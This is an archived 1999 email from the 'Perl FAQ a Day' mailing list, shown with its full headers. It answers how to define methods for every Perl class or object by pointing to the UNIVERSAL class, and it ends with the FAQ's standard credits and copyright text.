Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA12989 for <whitton@mail.atlantic.net>; Tue, 12 Oct 1999 06:47:20 -0400
Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA12474
	for <whitton@atlantic.net>; Tue, 12 Oct 1999 06:47:20 -0400
Received: (qmail 31449 invoked by uid 669); 12 Oct 1999 10:43:18 -0000
Date: 12 Oct 1999 10:43:18 -0000
Message-ID: <19991012104318.31448.qmail@horton.bigbrother.com>
To: whitton@atlantic.net
From: daily_perl@yoak.com
Subject: Daily Perl FAQ - How do I define methods for every class/object?
Status: RO
X-Status: 


This is a daily mailing from the Perl FAQ a Day website.
For subscription info, or to have your address removed from 
the mailing list, please see http://yoak.com/daily_perl/
-- 

Question:
How do I define methods for every class/object?

    Use the UNIVERSAL class (see the UNIVERSAL manpage).


-- 
The contents of this message are part of the Perl FAQ:
Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day.

Where to get this document [the Perl FAQ]
   This document is posted regularly to comp.lang.perl.announce and
   several other related newsgroups. It is available in a variety of
   formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web
   at http://www.perl.com/perl/faq/ .

CREDITS
   When I first began the Perl FAQ in the late 80s, I never realized it
   would have grown to over a hundred pages, nor that Perl would ever
   become so popular and widespread. This document could not have been
   written without the tremendous help provided by Larry Wall and the
   rest of the Perl Porters.

AUTHOR AND COPYRIGHT INFORMATION
   Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights
   reserved.



-- 
128
.

